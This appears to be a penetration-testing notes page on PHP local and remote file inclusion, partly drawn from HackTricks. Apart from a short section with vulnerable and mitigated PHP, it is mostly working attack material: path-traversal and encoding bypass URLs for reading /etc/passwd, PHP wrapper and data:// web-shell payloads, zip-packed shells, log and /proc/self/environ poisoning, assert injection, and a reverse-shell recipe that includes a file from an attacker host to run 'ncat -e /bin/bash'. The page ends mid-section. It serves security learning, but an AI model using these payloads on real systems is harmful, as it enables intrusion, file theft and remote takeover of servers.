# local file inclusion & remote file inclusion

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FrPYMDTl8hpT0m6iUZqbm%2Fimage.png?alt=media&#x26;token=a11fe00b-e67b-4215-b0a8-d49de50ca63f" alt=""><figcaption></figcaption></figure>

## How does it Happend ?

### Vuln Code (LFi)

```php
<?php
// Vulnerable code
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include($page . '.php');
}
?>
```

{% hint style="danger" %}
In this example, the <mark style="color:red;">**`include`**</mark> function includes a file based on the user-supplied input without any validation. An attacker can manipulate the <mark style="color:red;">**`page`**</mark> parameter to include arbitrary files from the server
{% endhint %}

### Mitigation Code (LFI)

* Input Validation
* File Access Controls
* Use Whitelists

```php
<?php
// Mitigated code Use Whitelists
$whitelist = ['home', 'about', 'contact'];

if (isset($_GET['page'])) {
    $page = $_GET['page'];

    // Check if the requested page is in the whitelist
    if (in_array($page, $whitelist)) {
        include($page . '.php');
    } else {
        echo "Invalid page request.";
    }
} else {
    include('home.php'); // default page
}
?>
```

{% hint style="success" %}
n the mitigated version, a whitelist of allowed pages is used. The <mark style="color:blue;">**`in_array`**</mark> function checks if the user-supplied <mark style="color:blue;">**`page`**</mark> is in the whitelist before including the file. This prevents the inclusion of unauthorized files.
{% endhint %}



### Vulnerable Code (RFI)

```php
<?php
// Vulnerable code
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);
}
?>
```

{% hint style="danger" %}
In this example, an attacker can manipulate the <mark style="color:red;">**`file`**</mark> parameter to include a file from a remote server
{% endhint %}

### Mitigated Code (RFI)

```php
<?php
// Mitigated code
if (isset($_GET['file'])) {
    $file = $_GET['file'];

    // Only allow including files from a specific directory
    $allowed_directory = 'includes/';

    // Build the full path
    $filepath = realpath($allowed_directory . $file . '.php');

    // Check if the file exists and is within the allowed directory
    if ($filepath && strpos($filepath, realpath($allowed_directory)) === 0) {
        include($filepath);
    } else {
        echo "Invalid file request.";
    }
} else {
    include('includes/home.php'); // default file
}
?>
```

{% hint style="success" %}
In the mitigated version, the code ensures that only files within the <mark style="color:blue;">**`includes/`**</mark> directory can be included. The <mark style="color:blue;">**`realpath`**</mark> function is used to get the absolute path, and `strpos` ensures that the path starts with the allowed directory, preventing directory traversal attacks.
{% endhint %}

* Directory Traversal / Path Traversal
  * list or  read file/Dir only

in bWAPP

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FaRhy9j2xK3K2YrpZy2Ga%2Fimage.png?alt=media&#x26;token=95f4f9c9-732e-486b-bc90-da4bac6ad96a" alt=""><figcaption></figcaption></figure>

can't execute file&#x20;

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FACaaidqV3IKPSfti8JBh%2Fimage.png?alt=media&#x26;token=71f78e30-9a79-43f5-9be8-64b4fc609d37" alt=""><figcaption></figcaption></figure>

* Local File inclusion (LFI)
  * can read and execute file local

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FYuWlimtBmDcQFvA3jP7m%2Fimage.png?alt=media&#x26;token=f275fac4-3411-4974-b102-35e78a84cdc7" alt=""><figcaption></figcaption></figure>

### How to bypass lfi add extention .jpg/png/php/etc....

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FGWH79iCW7vybK7GJBKbl%2Fimage.png?alt=media&#x26;token=91547e9d-2e55-43a0-92e9-1245b7520917" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FnxnmlZ2GxihWUGnA40tU%2Fimage.png?alt=media&#x26;token=e9c6b756-b3ed-4118-bf3e-39c8ca374297" alt=""><figcaption></figcaption></figure>

### make server `http://192.168.1.10/shell?`

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FpybQrSpIelZm85x0iPZV%2Fimage.png?alt=media&#x26;token=9ce14885-05f1-41ee-b9cf-0278d93c0c1c" alt=""><figcaption></figcaption></figure>

### php wrapper local file inclusion

<pre><code><strong>php://filter/convert.base64-encode/resource=/etc/passwd
</strong></code></pre>

* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
* [php://](https://www.php.net/manual/en/wrappers.php.php) — Accessing various I/O streams
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
* [data://](https://www.php.net/manual/en/wrappers.data.php) — Data (RFC 2397)
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern
* [phar://](https://www.php.net/manual/en/wrappers.phar.php) — PHP Archive
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [rar://](https://www.php.net/manual/en/wrappers.rar.php) — RAR
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams
* [expect://](https://www.php.net/manual/en/wrappers.expect.php) — Process Interaction Streams



* Remote File inclusion&#x20;

make Simple server

```php
php -S <IP>:<PORT>
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FeqCjCUBouNFRdsdFhIsP%2Fimage.png?alt=media&#x26;token=3d1d6b18-5483-4915-9730-7572754375d9" alt=""><figcaption></figcaption></figure>

make simple code php to test  shell.txt

```php
<?php
system('ls');
?>
```



**`http://192.168.1.9:4444/shell2.txt? add ? to execute file in victm machine`**

```
http://192.168.2.5/dvwa/vulnerabilities/fi/?page=http://192.168.1.9:4444/shell2.txt?
```

### How to get reverse shell on LFI/RFI

make shell.txt

```php
<?php
system('ncat -e /bin/bash <attacker ip> <port>');
?>
```

```
?page=http://192.168.2.3/shell2.txt?
```



attacker Machine first listening......

```
nc -nvlp <port>
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FtWGkiulDtVguI48jMOw1%2Fimage.png?alt=media&#x26;token=f94b87b5-e5cc-4c94-bacb-594eba1ffda9" alt=""><figcaption></figcaption></figure>

### How to find Them <a href="#blind-interesting-lfi2rce-files" id="blind-interesting-lfi2rce-files"></a>

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F2BISs5sNQNbyWRfa03s7%2Fimage.png?alt=media&#x26;token=a9146ef4-ac6b-4810-ad80-2b2ec81c2fb6" alt=""><figcaption></figcaption></figure>

### Blind - Interesting - LFI2RCE file <a href="#blind-interesting-lfi2rce-files" id="blind-interesting-lfi2rce-files"></a>

WFUZZ

```php
wfuzz -c -w ./lfi2.txt --hw 0 http://192.168.2.5/nav.php?page=../../../../../../../FUZZ
```

### **Linux** <a href="#linux" id="linux"></a>

**Mixing several \*nix LFI lists and adding more paths I have created this one:**

[https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/file\_inclusion\_linux.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt)

Try also to change `/` for `\`

&#x20;Try also to add `../../../../../`

### **Windows** <a href="#windows" id="windows"></a>

Merge of different wordlists:

[Auto\_Wordlists/file\_inclusion\_windows.txt at main · carlospolop/Auto\_WordlistsGitHub](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt)

Try also to change `/` for `\`

&#x20;Try also to remove `C:/` and add `../../../../../`

### **OS X** <a href="#os-x" id="os-x"></a>

Check the LFI list of linux.



## Basic LFI and bypasses <a href="#basic-lfi-and-bypasses" id="basic-lfi-and-bypasses"></a>

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).



```
http://example.com/index.php?page=../../../etc/passwd
```

### traversal sequences stripped non-recursively <a href="#traversal-sequences-stripped-non-recursively" id="traversal-sequences-stripped-non-recursively"></a>

```
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```

#### **Null byte (%00)** <a href="#null-byte-00" id="null-byte-00"></a>

Bypass the append more chars at the end of the provided string (bypass of: $\_GET\['param']."php")

```
http://example.com/index.php?page=../../../etc/passwd%00
```

This is **solved since PHP 5.4**

### **Encoding** <a href="#encoding" id="encoding"></a>

You could use non-standard encondings like double URL encode (and others):



```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```

### From existent folder <a href="#from-existent-folder" id="from-existent-folder"></a>

Maybe the back-end is checking the folder path:

```
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```

### Exploring File System Directories on a Server <a href="#exploring-file-system-directories-on-a-server" id="exploring-file-system-directories-on-a-server"></a>

The file system of a server can be explored recursively to identify directories, not just files, by employing certain techniques. This process involves determining the directory depth and probing for the existence of specific folders. Below is a detailed method to achieve this:

1. **Determine Directory Depth:** Ascertain the depth of your current directory by successfully fetching the `/etc/passwd` file (applicable if the server is Linux-based). An example URL might be structured as follows, indicating a depth of three:

```
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```

1. **Probe for Folders:** Append the name of the suspected folder (e.g., `private`) to the URL, then navigate back to `/etc/passwd`. The additional directory level requires incrementing the depth by one:

Copy

```
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```

1. **Interpret the Outcomes:** The server's response indicates whether the folder exists:
   * **Error / No Output:** The folder `private` likely does not exist at the specified location.
   * **Contents of `/etc/passwd`:** The presence of the `private` folder is confirmed.
2. **Recursive Exploration:** Discovered folders can be further probed for subdirectories or files using the same technique or traditional Local File Inclusion (LFI) methods.

For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if `/var/www/` contains a `private` directory (assuming the current directory is at a depth of 3), use:

Copy

```
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```

#### **Path Truncation Technique** <a href="#path-truncation-technique" id="path-truncation-technique"></a>

Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file.

In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:

* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
* When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
* Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.

The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):

Copy

```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```

Copy

```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```

In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.

* **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
* **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
* **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.

When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.

**This vulnerability was corrected in PHP 5.3.**

#### **Filter bypass tricks** <a href="#filter-bypass-tricks" id="filter-bypass-tricks"></a>

Copy

```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```

## Remote File Inclusion <a href="#remote-file-inclusion" id="remote-file-inclusion"></a>

In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE:

Copy

```
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:

Copy

```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```

In the previous code, the final `+.txt` was added because the attacker needed a string that ended in `.txt`, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed).

Another example **not using the `php://` protocol** would be:

Copy

```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```

## Python Root element <a href="#python-root-element" id="python-root-element"></a>

In python in a code like this one:

Copy

```
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```

If the user passes an **absolute path** to **`file_name`**, the **previous path is just removed**:

Copy

```
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```

It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):

> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

## Java List Directories <a href="#java-list-directories" id="java-list-directories"></a>

It looks like if you have a Path Traversal in Java and you **ask for a directory** instead of a file, a **listing of the directory is returned**. This won't be happening in other languages (afaik).

## Top 25 parameters <a href="#top-25-parameters" id="top-25-parameters"></a>

Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):

Copy

```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```

## LFI / RFI using PHP wrappers & protocols <a href="#lfi-rfi-using-php-wrappers-and-protocols" id="lfi-rfi-using-php-wrappers-and-protocols"></a>

### php://filter <a href="#php-filter" id="php-filter"></a>

PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:

* [String Filters](https://www.php.net/manual/en/filters.string.php):
  * `string.rot13`
  * `string.toupper`
  * `string.tolower`
  * `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
    * Note that this filter has disappear from the modern versions of PHP
* [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
  * `convert.base64-encode`
  * `convert.base64-decode`
  * `convert.quoted-printable-encode`
  * `convert.quoted-printable-decode`
  * `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`

Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters).

* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
  * `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
  * `zlib.inflate`: Decompress the data
* [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
  * `mcrypt.*` : Deprecated
  * `mdecrypt.*` : Deprecated
* Other Filters
  * Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
    * `consumed`
    * `dechunk`: reverses HTTP chunked encoding
    * `convert.*`

```
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```

The part "php://filter" is case insensitive

#### Using php filters as oracle to read arbitrary files <a href="#using-php-filters-as-oracle-to-read-arbitrary-files" id="using-php-filters-as-oracle-to-read-arbitrary-files"></a>

[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.

In the original post you can find a detailed explanation of the technique, but here is a quick summary:

* Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
  * This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
* The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
  * This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
* The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
  * Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
  * When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
* The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
  * And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.

In the post a tool to perform this automatically was also leaked: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).

### php://fd <a href="#php-fd" id="php-fd"></a>

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:



```
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```

You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)

### zip:// and rar:// <a href="#zip-and-rar" id="zip-and-rar"></a>

Upload a Zip or Rar file with a PHPShell inside and access it. In order to be able to abuse the rar protocol it **need to be specifically activated**.



```
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```

### data:// <a href="#data" id="data"></a>

```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**

### expect:// <a href="#expect" id="expect"></a>

Expect has to be activated. You can execute code using this:

```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

### input:// <a href="#input" id="input"></a>

Specify your payload in the POST parameters:

```
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```

### phar:// <a href="#phar" id="phar"></a>

A `.phar` file can be utilized to execute PHP code when a web application leverages functions such as `include` for file loading. The PHP code snippet provided below demonstrates the creation of a `.phar` file:

```
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```

To compile the `.phar` file, the following command should be executed:

```
php --define phar.readonly=0 create_path.php
```

Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:

[Phar Deserialization Exploitation Guide](https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)

[PAGEphar:// deserialization](https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)

#### CVE-2024-2961 <a href="#cve-2024-2961" id="cve-2024-2961"></a>

It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.** Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**. It was possible to alloc chunks of specific sizes abusing more php filters.

#### More protocols <a href="#more-protocols" id="more-protocols"></a>

Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**

* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)

## LFI via PHP's 'assert' <a href="#lfi-via-phps-assert" id="lfi-via-phps-assert"></a>

Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.

For example, PHP code might be designed to prevent directory traversal like so:



```
assert("strpos('$file', '..') === false") or die("");
```

While this aims to stop traversal, it inadvertently creates a vector for code injection. To exploit this for reading file contents, an attacker could use:



```
' and die(highlight_file('/etc/passwd')) or '
```

Similarly, for executing arbitrary system commands, one might use:



```
' and die(system("id")) or '
```

### It's important to **URL-encode these payloads**.

Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

**Hacking Insights** Engage with content that delves into the thrill and challenges of hacking

**Real-Time Hack News** Keep up-to-date with fast-paced hacking world through real-time news and insights

**Latest Announcements** Stay informed with the newest bug bounties launching and crucial platform updates

**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

### PHP Blind Path Traversal <a href="#php-blind-path-traversal" id="php-blind-path-traversal"></a>

This technique is relevant in cases where you **control** the **file path** of a **PHP function** that will **access a file** but you won't see the content of the file (like a simple call to **`file()`**) but the content is not shown.

In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.

As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.

Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.

**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`

For the technical details check the mentioned post!

### LFI2RCE <a href="#lfi2rce" id="lfi2rce"></a>

#### Remote File Inclusion <a href="#remote-file-inclusion-1" id="remote-file-inclusion-1"></a>

Explained previously, [**follow this link**](https://book.hacktricks.xyz/pentesting-web/file-inclusion#remote-file-inclusion).

#### Via Apache/Nginx log file <a href="#via-apache-nginx-log-file" id="via-apache-nginx-log-file"></a>

If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file

Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.

Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.

This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header. Other possible log paths:

Copy

```
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```

Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)

### Via Email <a href="#via-email" id="via-email"></a>

**Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**

### Via /proc/\*/fd/\* <a href="#via-proc-fd" id="via-proc-fd"></a>

1. Upload a lot of shells (for example : 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

### Via /proc/self/environ <a href="#via-proc-self-environ" id="via-proc-self-environ"></a>

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

### Via upload <a href="#via-upload" id="via-upload"></a>

If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).

Copy

```
http://example.com/index.php?page=path/to/uploaded/file.png
```

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

### Via Zip fie upload <a href="#via-zip-fie-upload" id="via-zip-fie-upload"></a>

